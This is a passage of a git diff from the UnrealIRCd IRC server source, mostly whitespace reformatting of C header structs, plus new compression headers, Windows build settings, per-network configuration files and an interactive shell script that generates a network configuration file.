--Mika */ + int priority; #endif - long receiveK; /* Statistics: total k-bytes received */ - u_short sendB; /* counters to count upto 1-k lots of bytes */ - u_short receiveB; /* sent and received. */ - aClient *acpt; /* listening client which we accepted from */ - Link *confs; /* Configuration record associated */ - int authfd; /* fd for rfc931 authentication */ + long receiveK; /* Statistics: total k-bytes received */ + u_short sendB; /* counters to count upto 1-k lots of bytes */ + u_short receiveB; /* sent and received. */ + aClient *acpt; /* listening client which we accepted from */ + Link *confs; /* Configuration record associated */ + int authfd; /* fd for rfc931 authentication */ #ifdef SOCKSPORT - int socksfd; + int socksfd; #endif - struct IN_ADDR ip; /* keep real ip# too */ - u_short port; /* and the remote port# too :-) */ - struct hostent *hostp; - u_short notifies; /* Keep track of count of notifies */ - Link *notify; /* Links to clients notify-structures */ - LOpts *lopt; /* Saved /list options */ - char sockhost[HOSTLEN+1]; /* This is the host name from the socket - ** and after which the connection was - ** accepted. - */ - char passwd[PASSWDLEN+1]; + struct IN_ADDR ip; /* keep real ip# too */ + u_short port; /* and the remote port# too :-) */ + struct hostent *hostp; + u_short notifies; /* Keep track of count of notifies */ + Link *notify; /* Links to clients notify-structures */ + LOpts *lopt; /* Saved /list options */ + char sockhost[HOSTLEN + 1]; /* This is the host name from the socket + ** and after which the connection was + ** accepted. + */ + char passwd[PASSWDLEN + 1]; #ifdef DEBUGMODE - time_t cputime; + time_t cputime; #endif }; @@ -830,146 +870,146 @@ struct Client { /* * statistics structures */ -struct stats { - unsigned int is_cl; /* number of client connections */ - unsigned int is_sv; /* number of server connections */ - unsigned int is_ni; /* connection but no idea who it was */ - unsigned short is_cbs; /* bytes sent to clients */ - unsigned short is_cbr; /* bytes received to clients */ - unsigned short is_sbs; /* bytes sent to servers */ - unsigned short is_sbr; /* bytes received to servers */ - unsigned long is_cks; /* k-bytes sent to clients */ - unsigned long is_ckr; /* k-bytes received to clients */ - unsigned long is_sks; /* k-bytes sent to servers */ - unsigned long is_skr; /* k-bytes received to servers */ - time_t is_cti; /* time spent connected by clients */ - time_t is_sti; /* time spent connected by servers */ - unsigned int is_ac; /* connections accepted */ - unsigned int is_ref; /* accepts refused */ - unsigned int is_unco; /* unknown commands */ - unsigned int is_wrdi; /* command going in wrong direction */ - unsigned int is_unpf; /* unknown prefix */ - unsigned int is_empt; /* empty message */ - unsigned int is_num; /* numeric message */ - unsigned int is_kill; /* number of kills generated on collisions */ - unsigned int is_fake; /* MODE 'fakes' */ - unsigned int is_asuc; /* successful auth requests */ - unsigned int is_abad; /* bad auth requests */ - unsigned int is_udp; /* packets recv'd on udp port */ - unsigned int is_loc; /* local connections made */ +struct stats { + unsigned int is_cl; /* number of client connections */ + unsigned int is_sv; /* number of server connections */ + unsigned int is_ni; /* connection but no idea who it was */ + unsigned short is_cbs; /* bytes sent to clients */ + unsigned short is_cbr; /* bytes received to clients */ + unsigned short is_sbs; /* bytes sent to servers */ + unsigned short is_sbr; /* bytes received to servers */ + unsigned long is_cks; /* k-bytes sent to clients */ + unsigned long is_ckr; /* k-bytes received to clients */ + unsigned long is_sks; /* k-bytes sent to servers */ + unsigned long is_skr; /* k-bytes received to servers */ + time_t is_cti; /* time spent connected by clients */ + time_t is_sti; /* time spent connected by servers */ + unsigned int is_ac; /* connections accepted */ + unsigned int is_ref; /* accepts refused */ + unsigned int is_unco; /* unknown commands */ + unsigned int is_wrdi; /* command going in wrong direction */ + unsigned int is_unpf; /* unknown prefix */ + unsigned int is_empt; /* empty message */ + unsigned int is_num; /* numeric message */ + unsigned int is_kill; /* number of kills generated on collisions */ + unsigned int is_fake; /* MODE 'fakes' */ + unsigned int is_asuc; /* successful auth requests */ + unsigned int is_abad; /* bad auth requests */ + unsigned int is_udp; /* packets recv'd on udp port */ + unsigned int is_loc; /* local connections made */ }; struct ListOptions { - LOpts *next; - Link *yeslist, *nolist; - int starthash; - short int showall; - unsigned short usermin; - int usermax; - time_t currenttime; - time_t chantimemin; - time_t chantimemax; - time_t topictimemin; - time_t topictimemax; + LOpts *next; + Link *yeslist, *nolist; + int starthash; + short int showall; + unsigned short usermin; + int usermax; + time_t currenttime; + time_t chantimemin; + time_t chantimemax; + time_t topictimemin; + time_t topictimemax; }; /* mode structure for channels */ -struct SMode { +struct SMode { #ifndef USE_LONGMODE - unsigned int mode; + unsigned int mode; #else - long mode; + long mode; #endif - int limit; - char key[KEYLEN+1]; - char link[LINKLEN+1]; - /* x:y */ - int msgs; /* x */ - int per; /* y */ - int kmode; /* mode 0 = kick 1 = ban */ + int limit; + char key[KEYLEN + 1]; + char link[LINKLEN + 1]; + /* x:y */ + int msgs; /* x */ + int per; /* y */ + int kmode; /* mode 0 = kick 1 = ban */ }; /* Message table structure */ -struct Message { - char *cmd; - int (* func)(); - unsigned int count; - int parameters; - char flags; - /* bit 0 set means that this command is allowed to be used - * only on the average of once per 2 seconds -SRB */ - u_char token[2]; /* Cheat for tokenized value */ - unsigned long bytes; +struct Message { + char *cmd; + int (*func) (); + unsigned int count; + int parameters; + char flags; + /* bit 0 set means that this command is allowed to be used + * only on the average of once per 2 seconds -SRB */ + u_char token[2]; /* Cheat for tokenized value */ + unsigned long bytes; #ifdef DEBUGMODE - unsigned long lticks; - unsigned long rticks; + unsigned long lticks; + unsigned long rticks; #endif }; /* Used for notify-hash buckets... -Donwulff */ struct Notify { - aNotify *hnext; - time_t lasttime; - Link *notify; - char nick[1]; + aNotify *hnext; + time_t lasttime; + Link *notify; + char nick[1]; }; /* general link structure used for chains */ -struct SLink { - struct SLink *next; - int flags; +struct SLink { + struct SLink *next; + int flags; aFloodOpt *flood; union { - aClient *cptr; + aClient *cptr; aChannel *chptr; aConfItem *aconf; - aNotify *nptr; + aNotify *nptr; aName *whowas; - char *cp; - struct { - char *banstr; - char *who; - time_t when; - } ban; + char *cp; + struct { + char *banstr; + char *who; + time_t when; + } ban; } value; }; -struct SBan { - struct SBan *next; +struct SBan { + struct SBan *next; char *banstr; char *who; time_t when; }; struct DSlink { - struct DSlink *next; - struct DSlink *prev; - union { - aClient *cptr; - aChannel *chptr; - aConfItem *aconf; - char *cp; - } value; + struct DSlink *next; + struct DSlink *prev; + union { + aClient *cptr; + aChannel *chptr; + aConfItem *aconf; + char *cp; + } value; }; /* channel structure */ -struct Channel { - struct Channel *nextch, *prevch, *hnextch; - Mode mode; - time_t creationtime; - char *topic; - char *topic_nick; - time_t topic_time; - int users; - Link *members; - Link *invites; - Ban *banlist; - Ban *exlist; /* exceptions */ - char chname[1]; +struct Channel { + struct Channel *nextch, *prevch, *hnextch; + Mode mode; + time_t creationtime; + char *topic; + char *topic_nick; + time_t topic_time; + int users; + Link *members; + Link *invites; + Ban *banlist; + Ban *exlist; /* exceptions */ + char chname[1]; }; /* @@ -978,18 +1018,18 @@ struct Channel { /* Channel related flags */ -#define CHFL_CHANOP 0x0001 /* Channel operator */ -#define CHFL_VOICE 0x0002 /* the power to speak */ +#define CHFL_CHANOP 0x0001 /* Channel operator */ +#define CHFL_VOICE 0x0002 /* the power to speak */ -#define CHFL_DEOPPED 0x0004 /* Is de-opped by a server */ -#define CHFL_SERVOPOK 0x0008 /* Server op allowed */ -#define CHFL_ZOMBIE 0x0010 /* Kicked from channel */ +#define CHFL_DEOPPED 0x0004 /* Is de-opped by a server */ +#define CHFL_SERVOPOK 0x0008 /* Server op allowed */ +#define CHFL_ZOMBIE 0x0010 /* Kicked from channel */ /* Bans are stored in separate linked list, so phase this out? */ -#define CHFL_BAN 0x0020 /* ban channel flag */ -#define CHFL_CHANOWNER 0x0040 /* channel owner */ -#define CHFL_CHANPROT 0x0080 /* chan op protection */ -#define CHFL_HALFOP 0x0100 /* halfop */ -#define CHFL_EXCEPT 0x0200 /* phase this out ? +e */ +#define CHFL_BAN 0x0020 /* ban channel flag */ +#define CHFL_CHANOWNER 0x0040 /* channel owner */ +#define CHFL_CHANPROT 0x0080 /* chan op protection */ +#define CHFL_HALFOP 0x0100 /* halfop */ +#define CHFL_EXCEPT 0x0200 /* phase this out ? +e */ #define CHFL_OVERLAP (CHFL_CHANOWNER|CHFL_CHANPROT|CHFL_CHANOP|CHFL_VOICE|CHFL_HALFOP) @@ -1025,6 +1065,9 @@ struct Channel { #ifdef STRIPBADWORDS #define MODE_STRIPBADWORDS 0x8000000 #endif +#define MODE_NOCTCP 0x10000000 +#define MODE_AUDITORIUM 0x20000000 + #define is_halfop is_half_op /* * mode flags which take another parameter (With PARAmeterS) @@ -1048,24 +1091,13 @@ struct Channel { (MODE_PRIVATE | MODE_SECRET)) == 0) #define IsChannelName(name) ((name) && (*(name) == '#')) -#define IsModelessChannel(name) ((name) && (*(name) == '+')) #define IsMember(blah,chan) ((blah && blah->user && \ find_channel_link((blah->user)->channel, chan)) ? 1 : 0) -struct s_gline { - char name[128]; - char sname[128]; - char host[128]; - char reason[128]; - char timemsg[128]; - long expire_at; - long set_at; -}; - struct FloodOpt { - int nmsg; - time_t lastmsg; + int nmsg; + time_t lastmsg; }; /* Misc macros */ @@ -1119,9 +1151,9 @@ struct FloodOpt { /* misc variable externs */ -extern char *version, *infotext[], *dalinfotext[], *unrealcredits[]; -extern char *generation, *creation; -extern char *gnulicense[]; +extern char *version, *infotext[], *dalinfotext[], *unrealcredits[]; +extern char *generation, *creation; +extern char *gnulicense[]; /* misc defines */ #define FLUSH_BUFFER -2 diff --git a/include/sys.h b/include/sys.h index 7ddac2455..c4a9a3536 100644 --- a/include/sys.h +++ b/include/sys.h @@ -84,7 +84,7 @@ extern char *rindex PROTO((char *, char)); #else #include #endif -#if !defined(DEBUGMODE) +#if !defined(DEBUGMODE) # ifndef _WIN32 # define MyFree(x) if ((x) != NULL) free(x) # else @@ -94,13 +94,13 @@ extern char *rindex PROTO((char *, char)); #define free(x) MyFree(x) #endif #ifdef NEXT -#define VOIDSIG int /* whether signal() returns int of void */ +#define VOIDSIG int /* whether signal() returns int of void */ #else -#define VOIDSIG void /* whether signal() returns int of void */ +#define VOIDSIG void /* whether signal() returns int of void */ #endif #ifdef _SOLARIS -#define OPT_TYPE char /* opt type for get/setsockopt */ +#define OPT_TYPE char /* opt type for get/setsockopt */ #else #define OPT_TYPE void #endif @@ -113,22 +113,14 @@ extern char *rindex PROTO((char *, char)); #endif #ifndef _WIN32 -extern VOIDSIG dummy(); -#endif - -#ifdef DYNIXPTX -#define NO_U_TYPES -typedef unsigned short n_short; /* short as received from the net */ -typedef unsigned long n_long; /* long as received from the net */ -typedef unsigned long n_time; /* ms since 00:00 GMT, byte rev */ -#define _NETINET_IN_SYSTM_INCLUDED +extern VOIDSIG dummy(); #endif #ifdef NO_U_TYPES -typedef unsigned char u_char; -typedef unsigned short u_short; -typedef unsigned long u_long; -typedef unsigned int u_int; +typedef unsigned char u_char; +typedef unsigned short u_short; +typedef unsigned long u_long; +typedef unsigned int u_int; #endif #ifdef _WIN32 @@ -147,8 +139,11 @@ typedef unsigned int u_int; #ifdef INET6 # define AND16(x) ((x)[0]&(x)[1]&(x)[2]&(x)[3]&(x)[4]&(x)[5]&(x)[6]&(x)[7]&(x)[8]&(x)[9]&(x)[10]&(x)[11]&(x)[12]&(x)[13]&(x)[14]&(x)[15]) -static unsigned char minus_one[]={ 255, 255, 255, 255, 255, 255, 255, 255, 255, - 255, 255, 255, 255, 255, 255, 255, 0}; +static unsigned char minus_one[] = + { 255, 255, 255, 255, 255, 255, 255, 255, 255, + 255, 255, 255, 255, 255, 255, 255, 0 +}; + # define WHOSTENTP(x) ((x)[0]|(x)[1]|(x)[2]|(x)[3]|(x)[4]|(x)[5]|(x)[6]|(x)[7]|(x)[8]|(x)[9]|(x)[10]|(x)[11]|(x)[12]|(x)[13]|(x)[14]|(x)[15]) # define AFINET AF_INET6 @@ -175,8 +170,10 @@ char mydummy2[MYDUMMY_SIZE]; # endif # if defined(linux) -static const struct in6_addr in6addr_any={ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0}; +static const struct in6_addr in6addr_any = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 +}; + # endif # define IRCDCONF_DELIMITER '%' @@ -194,5 +191,5 @@ static const struct in6_addr in6addr_any={ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, # define WHOSTENTP(x) (x) # define IRCDCONF_DELIMITER ':' #endif - + #endif /* __sys_include__ */ diff --git a/include/userload.h b/include/userload.h index cb99c7f5b..4049d1bde 100644 --- a/include/userload.h +++ b/include/userload.h @@ -30,25 +30,25 @@ #endif struct current_load_struct { - u_short client_count, local_count, conn_count; - u_long entries; -}; + u_short client_count, local_count, conn_count; + u_long entries; +}; extern struct current_load_struct current_load_data; struct load_entry { - struct load_entry *prev; - u_short client_count, local_count, conn_count; + struct load_entry *prev; + u_short client_count, local_count, conn_count; #ifdef DEBUGMODE - u_short cpu_usage; + u_short cpu_usage; #endif - long time_incr; + long time_incr; }; extern struct load_entry *load_list_head, *load_list_tail, - *load_free_head, *load_free_tail; + *load_free_head, *load_free_tail; -extern void initload PROTO ((void)); -extern void update_load PROTO ((void)); -extern void calc_load PROTO ((aClient *, char *)); +extern void initload PROTO((void)); +extern void update_load PROTO((void)); +extern void calc_load PROTO((aClient *, char *)); diff --git a/include/version.h b/include/version.h index df0628b2e..0433218af 100644 --- a/include/version.h +++ b/include/version.h @@ -16,13 +16,13 @@ #else #define DEBUGMODESET "" #endif -/**/ + /**/ #ifdef DEBUG #define DEBUGSET "(Debug)" #else #define DEBUGSET "" -#endif -/**/ +#endif + /**/ #define COMPILEINFO DEBUGMODESET DEBUGSET /* * Version Unreal3.1 @@ -31,19 +31,18 @@ #define PATCH1 "3" #define PATCH2 ".1" #define PATCH3 "-Silverheart" -#define PATCH4 "(beta3)" +#define PATCH4 "" #define PATCH5 "" #define PATCH6 "" #define PATCH7 "" #define PATCH8 COMPILEINFO #define PATCH9 "" - #ifndef _WIN32 #define BASE_VERSION "Unreal" #else #define BASE_VERSION "UnrealIRCd/32 v" #endif - +/* release header */ +#define Rh BASE_VERSION #define VERSIONONLY PATCH1 PATCH2 PATCH3 PATCH4 PATCH5 PATCH6 PATCH7 - -#endif /* __versioninclude */ +#endif /* __versioninclude */ diff --git a/include/whowas.h b/include/whowas.h index 617e552b5..19fb64ab5 100644 --- a/include/whowas.h +++ b/include/whowas.h @@ -39,12 +39,12 @@ ** WHOWAS structure moved here from whowas.c */ typedef struct aname { - anUser *ww_user; - aClient *ww_online; - time_t ww_logout; - long ww_umodes; - char ww_nick[NICKLEN+1]; - char ww_info[REALLEN+1]; + anUser *ww_user; + aClient *ww_online; + time_t ww_logout; + long ww_umodes; + char ww_nick[NICKLEN + 1]; + char ww_info[REALLEN + 1]; } aName; @@ -55,7 +55,7 @@ typedef struct aname { ** Client must be a fully registered user (specifically, ** the user structure must have been allocated). */ -void add_history (aClient *, int); +void add_history(aClient *, int); /* ** off_history @@ -64,7 +64,7 @@ void add_history (aClient *, int); ** structures and it must know when they cease to exist. This ** also implicitly calls AddHistory. */ -void off_history (aClient *); +void off_history(aClient *); /* ** get_history @@ -72,15 +72,15 @@ void off_history (aClient *); ** nickname within the timelimit. Returns NULL, if no ** one found... */ -aClient *get_history (char *, time_t); +aClient *get_history(char *, time_t); /* Nick name */ /* Time limit in seconds */ -int m_whowas (aClient *, aClient *, int, char *[]); +int m_whowas(aClient *, aClient *, int, char *[]); /* ** for debugging...counts related structures stored in whowas array. */ -void count_whowas_memory (int *, u_long *); +void count_whowas_memory(int *, u_long *); #endif /* __whowas_include__ */ diff --git a/include/zip.h b/include/zip.h new file mode 100644 index 000000000..4a383fae8 --- /dev/null +++ b/include/zip.h @@ -0,0 +1,54 @@ +/************************************************************************ + * IRC - Internet Relay Chat, include/s_zip.h + * Copyright (C) 1992 Darren Reed + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 1, or (at your option) + * any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + * + * + * "s_zip.h". - Headers file. + * + * $Id$ + * + */ +#ifndef INCLUDED_s_zip_h +#define INCLUDED_s_zip_h +#include /* z_stream */ +#endif + +struct Client; + +#ifdef ZIP_LINKS +/* the minimum amount of data needed to trigger compression */ +#define ZIP_MINIMUM 4096 + +/* the maximum amount of data to be compressed (can actually be a bit more) */ +#define ZIP_MAXIMUM 8192 /* WARNING: *DON'T* CHANGE THIS!!!! */ + +struct Zdata { + z_stream *in; /* input zip stream data */ + z_stream *out; /* output zip stream data */ + char inbuf[ZIP_MAXIMUM]; /* incoming zipped buffer */ + char outbuf[ZIP_MAXIMUM]; /* outgoing (unzipped) buffer */ + int incount; /* size of inbuf content */ + int outcount; /* size of outbuf content */ +}; + +#endif /* ZIP_LINKS */ + + +extern int zip_init(struct Client *); +extern void zip_free(struct Client *); +extern char *unzip_packet(struct Client *, char *, int *); +extern char *zip_buffer(struct Client *, char *, int *, int); diff --git a/ircd b/ircd index aaa3fc65c..251a9de60 100755 --- a/ircd +++ b/ircd @@ -59,10 +59,10 @@ echo "| (4) Someone else is running an ircd on the |" echo "| default port you chose in ircd.conf. |" echo "|********************************************|" echo "| If you can't get Unreal IRCd to work - go |" -echo "| to /server irc.global-irc.net and join |" -echo "| #Global - Try ask in the channel or /msg |" -echo "| Stskeeps/Techie(me!) or else-- email me at |" -echo "| stskeeps@tspre.org |" +echo "| to /server irc.flirt.org and join |" +echo "| #UnrealIRCd or mail us at |" +echo "| unreal-support@lists.sourceforge.net |" +echo "| |" echo "|--------------------------------------------|" exit diff --git a/makefile.win32 b/makefile.win32 index b36e20022..408ff37f2 100644 --- a/makefile.win32 +++ b/makefile.win32 @@ -5,13 +5,29 @@ CC=cl # Here you put your settings FD_SETSIZE=/D FD_SETSIZE=16384 NS_ADDRESS=/D NS_ADDRESS="\"nospoof@dal.net\"" + +!IFNDEF DEBUG + CFLAGS=/MT /O2 /G5 /I ./INCLUDE /Fosrc/ /nologo $(FD_SETSIZE) $(NS_ADDRESS) /D _WIN32GUI /D NOSPOOF=1 /c + +LFLAGS=kernel32.lib user32.lib gdi32.lib shell32.lib wsock32.lib \ + oldnames.lib libcmt.lib comctl32.lib /nodefaultlib /nologo /out:WIRCD2.EXE + +!ELSE + +CFLAGS=/MTd /O2 /G5 /Od /ZI /I ./INCLUDE /Fosrc/ /nologo $(FD_SETSIZE) $(NS_ADDRESS) /D DEBUG /D DEBUGMODE /D _DEBUG /D _WIN32GUI /D NOSPOOF=1 /c + +LFLAGS=kernel32.lib user32.lib gdi32.lib shell32.lib wsock32.lib \ + oldnames.lib libcmt.lib comctl32.lib /nodefaultlib /nologo /debug /OUT:WIRCD.EXE + +!ENDIF + + INCLUDES=./include/struct.h ./include/config.h ./include/sys.h \ ./include/common.h ./include/version.h ./include/h.h ./include/numeric.h \ ./include/msg.h ./include/setup.h ./include/dynconf.h LINK=link.exe -LFLAGS=kernel32.lib user32.lib gdi32.lib shell32.lib wsock32.lib \ - oldnames.lib libcmt.lib comctl32.lib /nodefaultlib /nologo /out:WIRCD2.EXE + OBJ_FILES=SRC/CHANNEL.OBJ SRC/USERLOAD.OBJ SRC/SEND.OBJ SRC/BSD.OBJ \ SRC/S_CONF.OBJ SRC/FDLIST.OBJ SRC/DBUF.OBJ SRC/RES.OBJ \ SRC/CLOAK.OBJ SRC/HASH.OBJ SRC/PARSE.OBJ SRC/IRCD.OBJ \ @@ -22,12 +38,10 @@ OBJ_FILES=SRC/CHANNEL.OBJ SRC/USERLOAD.OBJ SRC/SEND.OBJ SRC/BSD.OBJ \ SRC/MD5.OBJ SRC/S_SERV.OBJ SRC/S_USER.OBJ SRC/WIN32GUI.OBJ \ SRC/VERSION.OBJ SRC/win32/WIN32.RES SRC/S_UNREAL.OBJ SRC/DYNCONF.OBJ \ SRC/S_SOCKS.OBJ SRC/S_KLINE.OBJ SRC/S_EXTRA.OBJ SRC/IRCSPRINTF.OBJ SRC/LUSERS.OBJ \ - SRC/SCACHE.OBJ + SRC/SCACHE.OBJ SRC/ALN.OBJ RC=rc.exe ALL: WIRCD.EXE CHKCONF.EXE - @echo Please, please REMEMBER to add those U lines! - @echo Read the file READTHIS.NOW formore info CLEAN: -@erase src\*.exe 2>NUL @@ -50,6 +64,11 @@ src/version.obj: src/win32/version.c ./WIRCD.EXE: $(OBJ_FILES) src/win32/version.obj $(LINK) $(LFLAGS) $(OBJ_FILES) +!IFNDEF DEBUG + Non Debug version built +!ELSE + Debug version built ... +!ENDIF ./CHKCONF.EXE: ./include/struct.h ./include/config.h ./include/sys.h \ ./include/common.h ./src/crule.c ./src/match.c ./src/chkconf.c @@ -99,6 +118,9 @@ src/class.obj: src/class.c $(INCLUDES) ./include/class.h src/lusers.obj: src/lusers.c $(INCLUDES) $(CC) $(CFLAGS) src/lusers.c +src/aln.obj: src/aln.c $(INCLUDES) + $(CC) $(CFLAGS) src/aln.c + src/ircd.obj: src/ircd.c $(INCLUDES) $(CC) $(CFLAGS) src/ircd.c diff --git a/networks/chatstation.network b/networks/chatstation.network new file mode 100644 index 000000000..aa9f13ea2 --- /dev/null +++ b/networks/chatstation.network @@ -0,0 +1,30 @@ +ver^2.2 +# +# Chatstation (irc.chatstation.net) Network Configuration File +# -------------------------------------------------- +# Added-at: 14 July 1999 00:00 GMT +# Author: Astronomy (Kerem Durmus) +# E-Mail: ircadmin@chatstation.net +# $Id$ +# ----------------------------------------- +# + +Network >..........: Chatstation +Set ircnetwork ....: Chatstation +Set defserv .......: irc.chatstation.net +Set SERVICES_NAME .: services.chatstation.net +Set oper_host .....: IRCop.Chatstation.Net +Set admin_host ....: Admin.Chatstation.Net +Set locop_host ....: Locop.Chatstation.Net +Set sadmin_host ...: CSops.Chatstation.Net +Set netadmin_host .: NetAdmin.Chatstation.Net +Set coadmin_host ..: Coadmin.Chatstation.Net +Set techadmin_host : TechAdmin.Chatstation.Net +Set hidden_host ...: Chatstation +Set netdomain .....: chatstation.net +Set helpchan ......: #Help +Set STATS_SERVER ..: stats.Chatstation.Net +Set HUB ...........: 1 +Set iNAH ..........: 1 +Set net_quit ......: CS + diff --git a/networks/german-elite.network b/networks/german-elite.network new file mode 100644 index 000000000..bc01faf84 --- /dev/null +++ b/networks/german-elite.network @@ -0,0 +1,25 @@ +ver^2.2 +# +# German-Elite (irc.german-elite.net) Network Configuration File +# ----------------------------------------- +# + +Network >..........: German-Elite +Set ircnetwork ....: German-Elite +Set defserv .......: irc.german-elite.net +Set SERVICES_NAME .: services.german-elite.net +Set oper_host .....: ircop.german-elite.net +Set admin_host ....: admin.german-elite.net +Set locop_host ....: locop.german-elite.net +Set sadmin_host ...: csop.german-elite.net +Set netadmin_host .: netadmin.german-elite.net +Set coadmin_host ..: coadmin.german-elite.net +Set techadmin_host : techadmin.german-elite.net +Set hidden_host ...: GE +Set netdomain .....: german-elite.net +Set helpchan ......: #german-elite +Set STATS_SERVER ..: stats.german-elite.net +Set HUB ...........: 1 +Set iNAH ..........: 1 +Set net_quit ......: GE + diff --git a/networks/linuxsquare.network b/networks/linuxsquare.network new file mode 100644 index 000000000..aa1c762b2 --- /dev/null +++ b/networks/linuxsquare.network @@ -0,0 +1,19 @@ +ver^2.2 +Network >..........: LinuxSquare +Set ircnetwork ....: LinuxSquare +Set defserv .......: Irc.LinuxSquare.Net +Set SERVICES_NAME .: Services.CA.US.LinuxSquare.Net +Set oper_host .....: GlobalOp.LinuxSquare.Net +Set admin_host ....: Admin.LinuxSquare.Net +Set locop_host ....: TrainingOp.LinuxSquare.Net +Set sadmin_host ...: ServicesAdmin.LinuxSquare.Net +Set netadmin_host .: NetAdmin.LinuxSquare.Net +Set coadmin_host ..: CoAdmin.LinuxSquare.Net +Set techadmin_host : TechAdmin.LinuxSquare.Net +Set hidden_host ...: LinuxSquare +Set netdomain .....: LinuxSquare.Net +Set helpchan ......: #HelpDesk +Set STATS_SERVER ..: Stats.CA.US.LinuxSquare.Net +Set HUB ...........: 1 +Set iNAH ..........: 0 +Set net_quit ......: LS diff --git a/networks/makenet b/networks/makenet new file mode 100755 index 000000000..4f50af5ba --- /dev/null +++ b/networks/makenet @@ -0,0 +1,281 @@ +#!/bin/sh + +# makenet v1.0 - generates a network file for UnrealIRCd +# +# you may freely use this file with any other program as +# long as the credits remain intact +# +# (c) 2000 codemastr (Dominick Meglio) and the UnrealIRCd Team + +VERSION="2.2" +DATE=`date "+%d %B %Y %H:%M"` +FILE="mynet.network" +EXISTS="y" +NICK="MyNick" +EMAIL="me@mynet.org" +NETWORK="My IRC Network" +DEFSERV="irc.mynet.org" +SERVICES_NAME="services.mynet.org" +OPER_HOST="oper.mynet.org" +ADMIN_HOST="admin.mynet.org" +LOCOP_HOST="locop.mynet.org" +CSOP_HOST="csop.mynet.org" +NETADMIN_HOST="netadmin.mynet.org" +TECHADMIN_HOST="techadmin.mynet.org" +COADMIN_HOST="coadmin.mynet.org" +HIDDEN_HOST="hide" +NETDOMAIN="mynet.org" +HELPCHAN="#help" +STATS_SERVER="stats.mynet.org" +INAH="1" +SUBMIT="y" + +# Checking out how to specify not to make a new line with the current OS +c='' +n='' +2>/dev/null +if [ "`eval echo -n 'a'`" = "-n a" ]; then +c='\c' +else +n='-n' +fi + +clear +echo "Welcome to the UnrealIRCd network file generator" +echo "If you need help to set the IRCd up," +echo "mail unreal-support@lists.sourceforge.net or ask" +echo "at IRC: /server irc.ircsystems.net, /join #unrealircd" +echo "" +echo "For any sake, read Unreal.nfo and read doc/faq before asking" +echo "questions" +echo "[Enter to Begin]" +read cc + +echo "" +echo "What do you want your network file to be called?" +echo $n "[$FILE] -> $c" +read cc +if [ ! -z $cc ]; then + FILE="$cc" +fi + +if [ -f $FILE ]; then +echo "" +echo "$FILE already exists do you want to override it?" +echo $n "[$EXISTS] -> $c" +read cc +if [ ! -z $cc ]; then + EXISTS="$cc" +fi + case "$EXISTS" in + [Nn]*) + exit + ;; + *) + ;; + esac +fi + +echo "" +echo "What is your IRC nickname?" +echo $n "[$NICK] -> $c" +read cc +if [ ! -z $cc ]; then + NICK="$cc" +fi + +echo "" +echo "What is your email address?" +echo $n "[$EMAIL] -> $c" +read cc +if [ ! -z $cc ]; then + EMAIL="$cc" +fi + +echo "" +echo "What is the name of your IRC network?" +echo $n "[$NETWORK] -> $c" +read cc +if [ ! -z $cc ]; then + NETWORK="$cc" +fi + +echo "" +echo "What is the default server for your network?" +echo $n "[$DEFSERV] -> $c" +read cc +if [ ! -z $cc ]; then + DEFSERV="$cc" +fi + +echo "" +echo "What is the name of your services server?" +echo $n "[$SERVICES_NAME] -> $c" +read cc +if [ ! -z $cc ]; then + SERVICES_NAME="$cc" +fi + +echo "" +echo "What is the virtual host opers will get when they oper up?" +echo $n "[$OPER_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + OPER_HOST="$cc" +fi + +echo "" +echo "What is the virtual host services opers will get when they oper up?" +echo $n "[$CSOP_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + CSOP_HOST="$cc" +fi + +echo "" +echo "What is the virtual host admins will get when they oper up?" +echo $n "[$ADMIN_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + ADMIN_HOST="$cc" +fi + +echo "" +echo "What is the virtual host local opers will get when they oper up?" +echo $n "[$LOCOP_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + LOCOP_HOST="$cc" +fi + +echo "" +echo "What is the virtual host coadmins will get when they oper up?" +echo $n "[$COADMIN_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + COADMIN_HOST="$cc" +fi + +echo "" +echo "What is the virtual host techadmins will get when they oper up?" +echo $n "[$TECHADMIN_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + TECHADMIN_HOST="$cc" +fi + +echo "" +echo "What is the virtual host netadmins will get when they oper up?" +echo $n "[$NETADMIN_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + NETADMIN_HOST="$cc" +fi + +echo "" +echo "What do you want the prefix for the hidden hosts to be?" +echo $n "[$HIDDEN_HOST] -> $c" +read cc +if [ ! -z $cc ]; then + HIDDEN_HOST="$cc" +fi + +echo "" +echo "What is your network's domain name?" +echo $n "[$NETDOMAIN] -> $c" +read cc +if [ ! -z $cc ]; then + NETDOMAIN="$cc" +fi + +echo "" +echo "What is your network's help channel?" +echo $n "[$HELPCHAN] -> $c" +read cc +if [ ! -z $cc ]; then + HELPCHAN="$cc" +fi + +echo "" +echo "What is the name of your stats server?" +echo $n "[$STATS_SERVER] -> $c" +read cc +if [ ! -z $cc ]; then + STATS_SERVER="$cc" +fi + +echo "" +echo "Do you want oper's hosts to be changed on /oper?" +echo "1 = yes 0 = no" +echo $n "[$INAH] -> $c" +read cc +if [ ! -z $cc ]; then + INAH="$cc" +fi + +# write the actual conf + +cat > $FILE << __EOF__ +ver^$VERSION +# +# $NETWORK ($DEFSERV) Network Configuration File +# -------------------------------------------------- +# Added-at: $DATE +# Author: $NICK +# Email: $EMAIL +# ----------------------------------------- +# + +Network >..........: $NETWORK +Set ircnetwork ....: $NETWORK +Set defserv .......: $DEFSERV +Set SERVICES_NAME .: $SERVICES_NAME +Set oper_host .....: $OPER_HOST +Set admin_host ....: $ADMIN_HOST +Set locop_host ....: $LOCOP_HOST +Set sadmin_host ...: $CSOP_HOST +Set netadmin_host .: $NETADMIN_HOST +Set coadmin_host ..: $COADMIN_HOST +Set techadmin_host : $TECHADMIN_HOST +Set hidden_host ...: $HIDDEN_HOST +Set netdomain 